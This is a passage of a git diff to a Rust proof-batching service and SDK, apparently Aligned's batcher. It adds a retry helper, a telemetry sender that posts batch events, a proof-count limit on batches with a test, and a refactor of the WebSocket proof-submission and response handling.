RetryError::Transient(e) => e, + RetryError::Permanent(e) => e, + } + } +} + +impl std::error::Error for RetryError where E: std::fmt::Debug {} + +/// Supports retries only on async functions. See: https://docs.rs/backon/latest/backon/#retry-an-async-function +/// Runs with `jitter: false`. +pub async fn retry_function( + function: FutureFn, + min_delay: u64, + factor: f32, + max_times: usize, + max_delay: u64, +) -> Result> +where + Fut: Future>>, + FutureFn: FnMut() -> Fut, +{ + let backoff = ExponentialBuilder::default() + .with_min_delay(Duration::from_millis(min_delay)) + .with_max_times(max_times) + .with_factor(factor) + .with_max_delay(Duration::from_secs(max_delay)); + + function + .retry(backoff) + .sleep(tokio::time::sleep) + .when(|e| matches!(e, RetryError::Transient(_))) + .await +} diff --git a/batcher/aligned-batcher/src/telemetry/mod.rs b/batcher/aligned-batcher/src/telemetry/mod.rs new file mode 100644 index 000000000..de291c6d2 --- /dev/null +++ b/batcher/aligned-batcher/src/telemetry/mod.rs @@ -0,0 +1 @@ +pub mod sender; diff --git a/batcher/aligned-batcher/src/telemetry/sender.rs b/batcher/aligned-batcher/src/telemetry/sender.rs new file mode 100644 index 000000000..4473f9cb3 --- /dev/null +++ b/batcher/aligned-batcher/src/telemetry/sender.rs @@ -0,0 +1,121 @@ +use ethers::types::H256; + +#[derive(Debug, serde::Serialize)] +pub enum TraceMessage { + CreatingTask([u8; 32]), + TaskCreated(H256), + TaskCreationFailed(H256), +} + +#[derive(Debug, serde::Serialize)] +pub struct TraceMessageTask { + merkle_root: String, +} + +#[derive(Debug, serde::Serialize)] +pub struct TraceMessageTaskStarted { + merkle_root: String, + fee_per_proof: String, + num_proofs_in_batch: usize, +} + +#[derive(Debug, serde::Serialize)] +pub struct TraceMessageTaskSentToEthereum { + merkle_root: String, + tx_hash: H256, +} + +#[derive(Debug, serde::Serialize)] +pub struct TraceMessageNewBatch { + merkle_root: String, + proof_count: usize, +} + +#[derive(Debug, serde::Serialize)] +pub struct TraceMessageTaskError { + merkle_root: String, + error: String, +} + +pub struct TelemetrySender { + base_url: String, + client: reqwest::Client, +} + +impl TelemetrySender { + pub fn new(base_url: String) -> Self { + let client = reqwest::Client::new(); + Self { base_url, client } + } + + pub fn get_full_url(&self, path: &str) -> String { + format!("{}/api/{}", self.base_url, path) + } + + pub async fn init_task_trace(&self, batch_merkle_root: &str) -> Result<(), reqwest::Error> { + let url = self.get_full_url("initBatcherTaskTrace"); + let formatted_merkle_root = format!("0x{}", batch_merkle_root); + let task = TraceMessageTask { + merkle_root: formatted_merkle_root, + }; + self.client.post(&url).json(&task).send().await?; + Ok(()) + } + + pub async fn task_sent( + &self, + batch_merkle_root: &str, + tx_hash: H256, + ) -> Result<(), reqwest::Error> { + let url = self.get_full_url("batcherTaskSent"); + let formatted_merkle_root = format!("0x{}", batch_merkle_root); + let task = TraceMessageTaskSentToEthereum { + merkle_root: formatted_merkle_root, + tx_hash, + }; + self.client.post(&url).json(&task).send().await?; + Ok(()) + } + + pub async fn task_created( + &self, + batch_merkle_root: &str, + fee_per_proof: String, + num_proofs_in_batch: usize, + ) -> Result<(), reqwest::Error> { + let url = self.get_full_url("batcherTaskStarted"); + let formatted_merkle_root = format!("0x{}", batch_merkle_root); + let task = TraceMessageTaskStarted { + merkle_root: formatted_merkle_root, + fee_per_proof, + num_proofs_in_batch, + }; + self.client.post(&url).json(&task).send().await?; + Ok(()) + } + + pub async fn task_uploaded_to_s3(&self, batch_merkle_root: &str) -> Result<(), reqwest::Error> { + let url = self.get_full_url("batcherTaskUploadedToS3"); + let formatted_merkle_root = format!("0x{}", batch_merkle_root); + let task = TraceMessageTask { + merkle_root: formatted_merkle_root, + }; + self.client.post(&url).json(&task).send().await?; + Ok(()) + } + + pub async fn task_creation_failed( + &self, + batch_merkle_root: &str, + reason: &str, + ) -> Result<(), reqwest::Error> { + let url = self.get_full_url("batcherTaskCreationFailed"); + let formatted_merkle_root = format!("0x{}", batch_merkle_root); + let task = TraceMessageTaskError { + merkle_root: formatted_merkle_root, + error: reason.to_string(), + }; + self.client.post(&url).json(&task).send().await?; + Ok(()) + } +} diff --git a/batcher/aligned-batcher/src/types/batch_queue.rs b/batcher/aligned-batcher/src/types/batch_queue.rs index c90219d23..17918e7a2 100644 --- a/batcher/aligned-batcher/src/types/batch_queue.rs +++ b/batcher/aligned-batcher/src/types/batch_queue.rs @@ -146,7 +146,8 @@ pub(crate) fn calculate_batch_size(batch_queue: &BatchQueue) -> Result Result<(BatchQueue, Vec), BatcherError> { let mut batch_queue = batch_queue; let mut batch_size = calculate_batch_size(&batch_queue)?; @@ -156,7 +157,10 @@ pub(crate) fn try_build_batch( let batch_len = batch_queue.len(); let fee_per_proof = calculate_fee_per_proof(batch_len, gas_price); - if batch_size > max_batch_size || fee_per_proof > entry.nonced_verification_data.max_fee { + if batch_size > max_batch_byte_size + || fee_per_proof > entry.nonced_verification_data.max_fee + || batch_len > max_batch_proof_qty + { // Update the state for the next iteration: // * Subtract this entry size to the size of the batch size. // * Push the current entry to the resulting batch queue. @@ -298,7 +302,7 @@ mod test { let gas_price = U256::from(1); let (resulting_batch_queue, batch) = - try_build_batch(batch_queue, gas_price, 5000000).unwrap(); + try_build_batch(batch_queue, gas_price, 5000000, 50).unwrap(); assert!(resulting_batch_queue.is_empty()); @@ -401,7 +405,7 @@ mod test { let gas_price = U256::from(1); let (resulting_batch_queue, finalized_batch) = - try_build_batch(batch_queue, gas_price, 5000000).unwrap(); + try_build_batch(batch_queue, gas_price, 5000000, 50).unwrap(); // The resulting batch queue (entries from the old batch queue that were not willing to pay // in this batch), should be empty and hence, all entries from the batch queue should be in @@ -512,7 +516,7 @@ mod test { let gas_price = U256::from(1); let (resulting_batch_queue, finalized_batch) = - try_build_batch(batch_queue, gas_price, 5000000).unwrap(); + try_build_batch(batch_queue, gas_price, 5000000, 50).unwrap(); // The resulting batch queue (entries from the old batch queue that were not willing to pay // in this batch), should be empty and hence, all entries from the batch queue should be in @@ -529,4 +533,113 @@ mod test { max_fee_1 ); } + + #[test] + fn batch_finalization_algorithm_works_not_bigger_than_max_batch_proof_qty() { + // The following information will be the same for each entry, it is just some dummy data to see + // algorithm working. + + let proof_generator_addr = Address::random(); + let payment_service_addr = Address::random(); + let sender_addr = Address::random(); + let bytes_for_verification_data = vec![42_u8; 10]; + let dummy_signature = Signature { + r: U256::from(1), + s: U256::from(2), + v: 3, + }; + let verification_data = VerificationData { + proving_system: ProvingSystemId::Risc0, + proof: bytes_for_verification_data.clone(), + pub_input: Some(bytes_for_verification_data.clone()), + verification_key: Some(bytes_for_verification_data.clone()), + vm_program_code: Some(bytes_for_verification_data), + proof_generator_addr, + }; + let chain_id = U256::from(42); + + // Here we create different entries for the batch queue. + // Since we are sending with the same address, the low nonces should have higher max fees. + + // Entry 1 + let nonce_1 = U256::from(1); + let max_fee_1 = U256::from(1_300_000_000_000_002u128); + let nonced_verification_data_1 = NoncedVerificationData::new( + verification_data.clone(), + nonce_1, + max_fee_1, + chain_id, + payment_service_addr, + ); + let vd_commitment_1: VerificationDataCommitment = nonced_verification_data_1.clone().into(); + let entry_1 = BatchQueueEntry::new_for_testing( + nonced_verification_data_1, + vd_commitment_1, + dummy_signature, + sender_addr, + ); + let batch_priority_1 = BatchQueueEntryPriority::new(max_fee_1, nonce_1); + + // Entry 2 + let nonce_2 = U256::from(2); + let max_fee_2 = U256::from(1_300_000_000_000_001u128); + let nonced_verification_data_2 = NoncedVerificationData::new( + verification_data.clone(), + nonce_2, + max_fee_2, + chain_id, + payment_service_addr, + ); + let vd_commitment_2: VerificationDataCommitment = nonced_verification_data_2.clone().into(); + let entry_2 = BatchQueueEntry::new_for_testing( + nonced_verification_data_2, + vd_commitment_2, + dummy_signature, + sender_addr, + ); + let batch_priority_2 = BatchQueueEntryPriority::new(max_fee_2, nonce_2); + + // Entry 3 + let nonce_3 = U256::from(3); + let max_fee_3 = U256::from(1_300_000_000_000_000u128); + let nonced_verification_data_3 = NoncedVerificationData::new( + verification_data.clone(), + nonce_3, + max_fee_3, + chain_id, + payment_service_addr, + ); + let vd_commitment_3: VerificationDataCommitment = nonced_verification_data_3.clone().into(); + let entry_3 = BatchQueueEntry::new_for_testing( + nonced_verification_data_3, + vd_commitment_3, + dummy_signature, + sender_addr, + ); + let batch_priority_3 = BatchQueueEntryPriority::new(max_fee_3, nonce_3); + + let mut batch_queue = BatchQueue::new(); + batch_queue.push(entry_1, batch_priority_1); + batch_queue.push(entry_2, batch_priority_2); + batch_queue.push(entry_3, batch_priority_3); + + let gas_price = U256::from(1); + + // The max batch len is 2, so the algorithm should stop at the second entry. + let max_batch_proof_qty = 2; + + let (resulting_batch_queue, finalized_batch) = + try_build_batch(batch_queue, gas_price, 5000000, max_batch_proof_qty).unwrap(); + + assert_eq!(resulting_batch_queue.len(), 1); + assert_eq!(finalized_batch.len(), 2); + assert_eq!( + finalized_batch[0].nonced_verification_data.max_fee, + max_fee_2 + ); + assert_eq!( + finalized_batch[1].nonced_verification_data.max_fee, + max_fee_1 + ); + } } diff --git a/batcher/aligned-batcher/src/types/batch_state.rs b/batcher/aligned-batcher/src/types/batch_state.rs index 3e09377ac..2df6a0cdc 100644 --- a/batcher/aligned-batcher/src/types/batch_state.rs +++ b/batcher/aligned-batcher/src/types/batch_state.rs @@ -13,6 +13,8 @@ pub(crate) struct BatchState { } impl BatchState { + // CONSTRUCTORS: + pub(crate) fn new() -> Self { Self { batch_queue: BatchQueue::new(), @@ -27,6 +29,8 @@ impl BatchState { } } + // GETTERS: + pub(crate) fn get_entry(&self, sender: Address, nonce: U256) -> Option<&BatchQueueEntry> { self.batch_queue .iter() @@ -43,17 +47,14 @@ impl BatchState { Some(user_state.nonce) } - pub(crate) async fn get_user_min_fee(&self, addr: &Address) -> Option { + pub(crate) async fn get_user_last_max_fee_limit(&self, addr: &Address) -> Option { let user_state = self.get_user_state(addr)?; - Some(user_state.min_fee) + Some(user_state.last_max_fee_limit) } - pub(crate) fn update_user_nonce(&mut self, addr: &Address, new_nonce: U256) -> Option { - if let Entry::Occupied(mut user_state) = self.user_states.entry(*addr) { - user_state.get_mut().nonce = new_nonce; - return Some(new_nonce); - } - None + pub(crate) async fn get_user_total_fees_in_queue(&self, addr: &Address) -> Option { + let user_state = self.get_user_state(addr)?; + Some(user_state.total_fees_in_queue) } pub(crate) async fn get_user_proof_count(&self, addr: &Address) -> Option { @@ -61,29 +62,6 @@ impl BatchState { Some(user_state.proofs_in_batch) } - /// Checks if the entry is valid - /// An entry is valid if there is no entry with the same sender, lower nonce and a lower fee - pub(crate) fn replacement_entry_is_valid( - &mut self, - replacement_entry: &BatchQueueEntry, - ) -> bool { - let replacement_max_fee = replacement_entry.nonced_verification_data.max_fee; - let nonce = replacement_entry.nonced_verification_data.nonce; - let sender = replacement_entry.sender; - - debug!( - "Checking validity of entry with sender: {:?}, nonce: {:?}, max_fee: {:?}", - sender, nonce, replacement_max_fee - ); - - // it is a valid entry only if there is no entry with the same sender, lower nonce and a lower fee - !self.batch_queue.iter().any(|(entry, _)| { - entry.sender == sender - && entry.nonced_verification_data.nonce < nonce - && entry.nonced_verification_data.max_fee < replacement_max_fee - }) - } - pub(crate) fn get_user_min_fee_in_batch(&self, addr: &Address) -> U256 { self.batch_queue .iter() @@ -93,14 +71,17 @@ impl BatchState { .unwrap_or(U256::max_value()) } - pub(crate) fn update_user_min_fee( + // SETTERS: + + pub(crate) fn update_user_max_fee_limit( &mut self, addr: &Address, - new_min_fee: U256, + new_max_fee_limit: U256, ) -> Option { + // TODO refactor to return Result, or something less redundant if let Entry::Occupied(mut user_state) = self.user_states.entry(*addr) { - user_state.get_mut().min_fee = new_min_fee; - return Some(new_min_fee); + user_state.get_mut().last_max_fee_limit = new_max_fee_limit; + return Some(new_max_fee_limit); } None } @@ -110,6 +91,7 @@ impl BatchState { addr: &Address, new_proof_count: usize, ) -> Option { + // TODO refactor to return Result, or something less redundant if let Entry::Occupied(mut user_state) = self.user_states.entry(*addr) { user_state.get_mut().proofs_in_batch = new_proof_count; return Some(new_proof_count); @@ -117,42 +99,119 @@ impl BatchState { None } - /// Updates the user with address `addr` with the provided values of `new_nonce`, `new_min_fee` and - /// `new_proof_count`. + pub(crate) fn update_user_nonce(&mut self, addr: &Address, new_nonce: U256) -> Option { + // TODO refactor to return Result, or something less redundant + if let Entry::Occupied(mut user_state) = self.user_states.entry(*addr) { + user_state.get_mut().nonce = new_nonce; + return Some(new_nonce); + } + None + } + + pub(crate) fn update_user_total_fees_in_queue( + &mut self, + addr: &Address, + new_total_fees_in_queue: U256, + ) -> Option { + // TODO refactor to return Result, or something less redundant + if let Entry::Occupied(mut user_state) = self.user_states.entry(*addr) { + user_state.get_mut().total_fees_in_queue = new_total_fees_in_queue; + return Some(new_total_fees_in_queue); + } + None + } + + pub(crate) fn update_user_total_fees_in_queue_of_replacement_message( + &mut self, + addr: &Address, + original_max_fee: U256, + new_max_fee: U256, + ) -> Option { + // TODO refactor to return Result, or something less redundant + let fee_difference = new_max_fee - original_max_fee; //here we already know new_max_fee > original_max_fee + if let Entry::Occupied(mut user_state) = self.user_states.entry(*addr) { + user_state.get_mut().total_fees_in_queue += fee_difference; + return Some(user_state.get().total_fees_in_queue); + } + None + } + + /// Updates the user with address `addr` with the provided values of + /// `new_nonce`, `new_max_fee_limit`, `new_proof_count` and `new_total_fees_in_queue` /// If state is updated successfully, returns the updated values inside a `Some()` /// If the address was not found in the user states, returns `None` pub(crate) fn update_user_state( &mut self, addr: &Address, new_nonce: U256, - new_min_fee: U256, + new_max_fee_limit: U256, new_proof_count: usize, - ) -> Option<(U256, U256, usize)> { + new_total_fees_in_queue: U256, + ) -> Option<(U256, U256, usize, U256)> { + // TODO refactor to return Result, or something less redundant let updated_nonce = self.update_user_nonce(addr, new_nonce); - let updated_min_fee = self.update_user_min_fee(addr, new_min_fee); + let updated_max_fee_limit = self.update_user_max_fee_limit(addr, new_max_fee_limit); let updated_proof_count = self.update_user_proof_count(addr, new_proof_count); - - if updated_nonce.is_some() && updated_min_fee.is_some() && updated_proof_count.is_some() { - return Some((new_nonce, new_min_fee, new_proof_count)); + let updated_total_fees_in_queue = + self.update_user_total_fees_in_queue(addr, new_total_fees_in_queue); + + if updated_nonce.is_some() + && updated_max_fee_limit.is_some() + && updated_proof_count.is_some() + && updated_total_fees_in_queue.is_some() + { + return Some(( + new_nonce, + new_max_fee_limit, + new_proof_count, + new_total_fees_in_queue, + )); } None } - pub(crate) fn get_user_proofs_in_batch_and_min_fee(&self) -> HashMap { - let mut updated_user_states = HashMap::new(); + // LOGIC: + + pub(crate) fn calculate_new_user_states_data(&self) -> HashMap { + let mut updated_user_states = HashMap::new(); // address -> (proof_count, max_fee_limit, total_fees_in_queue) for (entry, _) in self.batch_queue.iter() { let addr = entry.sender; - let user_min_fee = entry.nonced_verification_data.max_fee; + let max_fee = entry.nonced_verification_data.max_fee; - let (proof_count, min_fee) = - updated_user_states.entry(addr).or_insert((0, user_min_fee)); + let (proof_count, max_fee_limit, total_fees_in_queue) = updated_user_states + .entry(addr) + .or_insert((0, max_fee, U256::zero())); *proof_count += 1; - if entry.nonced_verification_data.max_fee < *min_fee { - *min_fee = entry.nonced_verification_data.max_fee; + *total_fees_in_queue += max_fee; + if max_fee < *max_fee_limit { + *max_fee_limit = max_fee; } } updated_user_states } + + /// Checks if the entry is valid + /// An entry is valid if there is no entry with the same sender, lower nonce and a lower fee + pub(crate) fn replacement_entry_is_valid( + &mut self, + replacement_entry: &BatchQueueEntry, + ) -> bool { + let replacement_max_fee = replacement_entry.nonced_verification_data.max_fee; + let nonce = replacement_entry.nonced_verification_data.nonce; + let sender = replacement_entry.sender; + + debug!( + "Checking validity of entry with sender: {:?}, nonce: {:?}, max_fee: {:?}", + sender, nonce, replacement_max_fee + ); + + // it is a valid entry only if there is no entry with the same sender, lower nonce and a lower fee + !self.batch_queue.iter().any(|(entry, _)| { + entry.sender == sender + && entry.nonced_verification_data.nonce < nonce + && entry.nonced_verification_data.max_fee < replacement_max_fee + }) + } } diff --git a/batcher/aligned-batcher/src/types/errors.rs b/batcher/aligned-batcher/src/types/errors.rs index 9305e9758..b20fc45bb 100644 --- a/batcher/aligned-batcher/src/types/errors.rs +++ b/batcher/aligned-batcher/src/types/errors.rs @@ -12,7 +12,7 @@ pub enum BatcherError { BatchUploadError(String), TaskCreationError(String), ReceiptNotFoundError, - TransactionSendError, + TransactionSendError(String), MaxRetriesReachedError, SerializationError(String), GasPriceError, @@ -61,8 +61,8 @@ impl fmt::Debug for BatcherError { BatcherError::ReceiptNotFoundError => { write!(f, "Receipt not found") } - BatcherError::TransactionSendError => { - write!(f, "Error sending tx") + BatcherError::TransactionSendError(e) => { + write!(f, "Error sending tx: {}", e) } BatcherError::MaxRetriesReachedError => { write!( @@ -101,20 +101,3 @@ impl fmt::Debug for BatcherError { } } } - -#[derive(Debug)] -pub enum BatcherSendError { - TransactionReverted(String), - ReceiptNotFound, - UnknownError(String), -} - -impl From for BatcherError { - fn from(value: BatcherSendError) -> Self { - match value { - BatcherSendError::TransactionReverted(_) => BatcherError::TransactionSendError, - BatcherSendError::ReceiptNotFound => BatcherError::ReceiptNotFoundError, - BatcherSendError::UnknownError(err) => BatcherError::TaskCreationError(err), - } - } -} diff --git a/batcher/aligned-batcher/src/types/user_state.rs b/batcher/aligned-batcher/src/types/user_state.rs index a1627b25f..203c37bbb 100644 --- a/batcher/aligned-batcher/src/types/user_state.rs +++ b/batcher/aligned-batcher/src/types/user_state.rs @@ -2,11 +2,8 @@ use ethers::types::U256; pub(crate) struct UserState { pub nonce: U256, - /// The minimum fee of a pending proof for a user. - /// This should always be the fee of the biggest pending nonce by the user. - /// This is used to check if a user is submitting a proof with a higher nonce and higher fee, - /// which is invalid and should be rejected. - pub min_fee: U256, + pub last_max_fee_limit: U256, + pub total_fees_in_queue: U256, pub proofs_in_batch: usize, } @@ -14,7 +11,8 @@ impl UserState { pub(crate) fn new(nonce: U256) -> Self { UserState { nonce, - min_fee: U256::max_value(), + last_max_fee_limit: U256::max_value(), + total_fees_in_queue: U256::zero(), proofs_in_batch: 0, } } diff --git a/batcher/aligned-sdk/Cargo.toml b/batcher/aligned-sdk/Cargo.toml index 3704c6072..019a65984 100644 --- a/batcher/aligned-sdk/Cargo.toml +++ b/batcher/aligned-sdk/Cargo.toml @@ -4,11 +4,7 @@ version = "0.1.0" edition = "2021" [dependencies] -ethers = { tag = "v2.0.15-fix-reconnections", features = [ - "ws", - "rustls", - "eip712", -], git = "https://github.com/yetanotherco/ethers-rs.git" } +ethers = { version = "2.0", features = ["ws", "rustls", "eip712"] } log = { version = "0.4.21" } serde_json = "1.0.117" tokio-tungstenite = { version = "0.23.1", features = ["native-tls"] } diff --git a/batcher/aligned-sdk/src/communication/batch.rs b/batcher/aligned-sdk/src/communication/batch.rs index 8b7bc9250..d3935593f 100644 --- a/batcher/aligned-sdk/src/communication/batch.rs +++ b/batcher/aligned-sdk/src/communication/batch.rs @@ -14,11 +14,10 @@ use crate::{ const RETRIES: u64 = 10; const TIME_BETWEEN_RETRIES: u64 = 10; -pub fn handle_batch_inclusion_data( - batch_inclusion_data: BatchInclusionData, - aligned_verification_data: &mut Vec, - verification_data_commitments_rev: &mut Vec, -) -> Result<(), errors::SubmitError> { +pub fn process_batcher_response( + batch_inclusion_data: &BatchInclusionData, + verification_data_commitment: &VerificationDataCommitment, +) -> Result { debug!("Received response from batcher"); debug!( "Batch merkle root: {}", @@ -26,18 +25,14 @@ pub fn handle_batch_inclusion_data( ); debug!("Index in batch: {}", batch_inclusion_data.index_in_batch); - let verification_data_commitment = verification_data_commitments_rev - .pop() - .ok_or_else(|| errors::SubmitError::EmptyVerificationDataCommitments)?; - - if verify_response(&verification_data_commitment, &batch_inclusion_data) { - aligned_verification_data.push(AlignedVerificationData::new( - &verification_data_commitment, - &batch_inclusion_data, - )); + if verify_proof_inclusion(verification_data_commitment, batch_inclusion_data) { + Ok(AlignedVerificationData::new( + verification_data_commitment, + batch_inclusion_data, + )) + } else { + Err(errors::SubmitError::InvalidProofInclusionData) } - - Ok(()) } pub async fn await_batch_verification( @@ -64,7 +59,7 @@ pub async fn await_batch_verification( }) } -fn verify_response( +fn verify_proof_inclusion( verification_data_commitment: &VerificationDataCommitment, batch_inclusion_data: &BatchInclusionData, ) -> bool { diff --git a/batcher/aligned-sdk/src/communication/messaging.rs b/batcher/aligned-sdk/src/communication/messaging.rs index 7a881b895..7f3ad921c 100644 --- a/batcher/aligned-sdk/src/communication/messaging.rs +++ b/batcher/aligned-sdk/src/communication/messaging.rs @@ -1,7 +1,7 @@ use ethers::signers::Signer; use ethers::types::Address; use futures_util::{stream::SplitStream, SinkExt, StreamExt}; -use log::{debug, error, info}; +use log::{debug, error, info, warn}; use std::sync::Arc; use tokio::{net::TcpStream, sync::Mutex}; @@ -11,13 +11,14 @@ use futures_util::stream::{SplitSink, TryFilter}; use tokio_tungstenite::{tungstenite::Message, MaybeTlsStream, WebSocketStream}; use crate::communication::serialization::{cbor_deserialize, cbor_serialize}; +use crate::core::types::{BatchInclusionData, SubmitProofMessage}; use crate::{ - communication::batch::handle_batch_inclusion_data, + communication::batch::process_batcher_response, core::{ errors::SubmitError, types::{ - AlignedVerificationData, ClientMessage, NoncedVerificationData, ResponseMessage, - ValidityResponseMessage, VerificationData, VerificationDataCommitment, + AlignedVerificationData, ClientMessage, NoncedVerificationData, + SubmitProofResponseMessage, VerificationData, VerificationDataCommitment, }, }, }; @@ -28,205 +29,279 @@ pub type ResponseStream = TryFilter< fn(&Message) -> Ready, >; +// Sends the proofs to the batcher via WS +// Stores the proofs sent in an array +// Returns the array pub async fn send_messages( - response_stream: Arc>, ws_write: Arc>, Message>>>, payment_service_addr: Address, verification_data: &[VerificationData], - max_fees: &[U256], + max_fee: U256, wallet: Wallet, mut nonce: U256, -) -> Result, SubmitError> { - let mut sent_verification_data = Vec::new(); - - let mut ws_write = ws_write.lock().await; - - let mut response_stream = response_stream.lock().await; - +) -> Vec> { let chain_id = U256::from(wallet.chain_id()); + let mut ws_write = ws_write.lock().await; + let mut sent_verification_data: Vec> = Vec::new(); - for (idx, verification_data) in verification_data.iter().enumerate() { + for (idx, verification_data_i) in verification_data.iter().enumerate() { + // Build each message to send let verification_data = NoncedVerificationData::new( - verification_data.clone(), + verification_data_i.clone(), nonce, - max_fees[idx], + max_fee, chain_id, payment_service_addr, ); nonce += U256::one(); + let data = SubmitProofMessage::new(verification_data.clone(), wallet.clone()).await; + let msg = ClientMessage::SubmitProof(Box::new(data)); - let msg = ClientMessage::new(verification_data.clone(), wallet.clone()).await; - let msg_bin = cbor_serialize(&msg).map_err(SubmitError::SerializationError)?; - ws_write - .send(Message::Binary(msg_bin.clone())) - .await - .map_err(SubmitError::WebSocketConnectionError)?; - - debug!("Message sent..."); - - let msg = match response_stream.next().await { - Some(Ok(msg)) => msg, - _ => { - return Err(SubmitError::GenericError( - "Connection was closed without close message before receiving all messages" - .to_string(), - )); + let msg_bin = match cbor_serialize(&msg) { + Ok(bin) => bin, + Err(e) => { + error!("Error while serializing message: {:?}", e); + sent_verification_data.push(Err(SubmitError::SerializationError(e))); + return sent_verification_data; } }; - let response_msg: ValidityResponseMessage = cbor_deserialize(msg.into_data().as_slice()) - .map_err(SubmitError::SerializationError)?; + // Send the message + if let Err(e) = ws_write.send(Message::Binary(msg_bin.clone())).await { + error!("Error while sending message: {:?}", e); + sent_verification_data.push(Err(SubmitError::WebSocketConnectionError(e))); + return sent_verification_data; + } - match response_msg { - ValidityResponseMessage::Valid => { - debug!("Message was valid"); - } - ValidityResponseMessage::InvalidNonce => { - info!("Invalid Nonce!"); - return Err(SubmitError::InvalidNonce); - } - ValidityResponseMessage::InvalidSignature => { - error!("Invalid Signature!"); - return Err(SubmitError::InvalidSignature); - } - ValidityResponseMessage::ProofTooLarge => { - error!("Proof too large!"); - return Err(SubmitError::ProofTooLarge); - } - ValidityResponseMessage::InvalidProof(reason) => { - error!("Invalid Proof!: {}", reason); - return Err(SubmitError::InvalidProof(reason)); - } - ValidityResponseMessage::InvalidMaxFee => { - error!("Invalid Max Fee!"); - return Err(SubmitError::InvalidMaxFee); - } - ValidityResponseMessage::InsufficientBalance(addr) => { - error!("Insufficient balance for address: {}", addr); - return Err(SubmitError::InsufficientBalance); - } - ValidityResponseMessage::InvalidChainId => { - error!("Invalid chain id!"); - return Err(SubmitError::InvalidChainId); - } - ValidityResponseMessage::InvalidReplacementMessage => { - error!("Invalid replacement message!"); - return Err(SubmitError::InvalidReplacementMessage); - } - ValidityResponseMessage::AddToBatchError => { - error!("Error while pushing the entry to queue"); - return Err(SubmitError::AddToBatchError); - } - ValidityResponseMessage::EthRpcError => { - return Err(SubmitError::EthereumProviderError( - "Batcher experienced Eth RPC connection error".to_string(), - )); - } - ValidityResponseMessage::InvalidPaymentServiceAddress(received_addr, expected_addr) => { - error!( - "Invalid payment service address, received: {}, expected: {}", - received_addr, expected_addr - ); - return Err(SubmitError::InvalidPaymentServiceAddress( - received_addr, - expected_addr, - )); - } - }; + debug!("{:?} Message sent", idx); - sent_verification_data.push(verification_data.clone()); + // Save the verification data commitment to read its response later + sent_verification_data.push(Ok(verification_data)); } - Ok(sent_verification_data) + info!("All proofs sent"); + // This vector is reversed so that while responses are received, removing from the end is cheaper. + let sent_verification_data_rev: Vec> = + sent_verification_data.into_iter().rev().collect(); + sent_verification_data_rev } +// Receives the array of proofs sent +// Reads the WS responses +// Matches each response with the corresponding proof sent +// finishes when the last proof sent receives its response +// finishes early if the batcher replies with a SubmitError pub async fn receive( response_stream: Arc>, - ws_write: Arc>, Message>>>, - total_messages: usize, - num_responses: Arc>, - verification_data_commitments_rev: &mut Vec, -) -> Result, SubmitError> { + mut sent_verification_data_rev: Vec>, +) -> Vec> { // Responses are filtered to only admit binary or close messages. let mut response_stream = response_stream.lock().await; + let mut aligned_submitted_data: Vec> = Vec::new(); + let last_proof_nonce = get_biggest_nonce(&sent_verification_data_rev); - let mut aligned_verification_data: Vec = Vec::new(); - + // read from WS while let Some(Ok(msg)) = response_stream.next().await { + // unexpected WS close: if let Message::Close(close_frame) = msg { + warn!("Unexpected WS close"); if let Some(close_msg) = close_frame { - return Err(SubmitError::WebSocketClosedUnexpectedlyError( + aligned_submitted_data.push(Err(SubmitError::WebSocketClosedUnexpectedlyError( close_msg.to_owned(), - )); + ))); + break; } - return Err(SubmitError::GenericError( - "Connection was closed without close message before receiving all messages" - .to_string(), - )); + aligned_submitted_data.push(Err(SubmitError::GenericError( + "Connection was closed before receive() processed all sent messages ".to_string(), + ))); + break; } - process_batch_inclusion_data( - msg, - &mut aligned_verification_data, - verification_data_commitments_rev, - num_responses.clone(), - ) - .await?; - if *num_responses.lock().await == total_messages { - debug!("All messages responded. Closing connection..."); - ws_write.lock().await.close().await?; - return Ok(aligned_verification_data); + // first error msg from batcher will drop the rest of the messages in the burst + + let batch_inclusion_data_message = match handle_batcher_response(msg).await { + Ok(data) => data, + Err(e) => { + warn!("Error while handling batcher response: {:?}", e); + aligned_submitted_data.push(Err(e)); + break; + } + }; + + let related_verification_data = match match_batcher_response_with_stored_verification_data( + &batch_inclusion_data_message, + &mut sent_verification_data_rev, + ) { + Ok(data) => data, + Err(e) => { + warn!( + "Error while matching batcher response with sent data: {:?}", + e + ); + aligned_submitted_data.push(Err(e)); + break; + } + }; + + let aligned_verification_data = match process_batcher_response( + &batch_inclusion_data_message, + &related_verification_data, + ) { + Ok(data) => data, + Err(e) => { + warn!("Error while processing batcher response: {:?}", e); + aligned_submitted_data.push(Err(e)); + break; + } + }; + + aligned_submitted_data.push(Ok(aligned_verification_data)); + debug!("Message response handled successfully"); + + if batch_inclusion_data_message.user_nonce == last_proof_nonce { + break; } } - Err(SubmitError::GenericError( - "Connection was closed without close message before receiving all messages".to_string(), - )) + aligned_submitted_data } -async fn process_batch_inclusion_data( - msg: Message, - aligned_verification_data: &mut Vec, - verification_data_commitments_rev: &mut Vec, - num_responses: Arc>, -) -> Result<(), SubmitError> { - let mut num_responses_lock = num_responses.lock().await; - *num_responses_lock += 1; - +async fn handle_batcher_response(msg: Message) -> Result { let data = msg.into_data(); match cbor_deserialize(data.as_slice()) { - Ok(ResponseMessage::BatchInclusionData(batch_inclusion_data)) => { - let _ = handle_batch_inclusion_data( - batch_inclusion_data, - aligned_verification_data, - verification_data_commitments_rev, + Ok(SubmitProofResponseMessage::BatchInclusionData(batch_inclusion_data)) => { + //OK case. Proofs was valid and it was included in this batch. + Ok(batch_inclusion_data) + } + Ok(SubmitProofResponseMessage::InvalidNonce) => { + error!("Batcher responded with invalid nonce"); + Err(SubmitError::InvalidNonce) + } + Ok(SubmitProofResponseMessage::InvalidSignature) => { + error!("Batcher responded with invalid signature"); + Err(SubmitError::InvalidSignature) + } + Ok(SubmitProofResponseMessage::ProofTooLarge) => { + error!("Batcher responded with proof too large"); + Err(SubmitError::ProofTooLarge) + } + Ok(SubmitProofResponseMessage::InvalidMaxFee) => { + error!("Batcher responded with invalid max fee"); + Err(SubmitError::InvalidMaxFee) + } + Ok(SubmitProofResponseMessage::InsufficientBalance(addr)) => { + error!("Batcher responded with insufficient balance"); + Err(SubmitError::InsufficientBalance(addr)) + } + Ok(SubmitProofResponseMessage::InvalidChainId) => { + error!("Batcher responded with invalid chain id"); + Err(SubmitError::InvalidChainId) + } + Ok(SubmitProofResponseMessage::InvalidReplacementMessage) => { + error!("Batcher responded with invalid replacement message"); + Err(SubmitError::InvalidReplacementMessage) + } + Ok(SubmitProofResponseMessage::AddToBatchError) => { + error!("Batcher responded with add to batch error"); + Err(SubmitError::AddToBatchError) + } + Ok(SubmitProofResponseMessage::EthRpcError) => { + 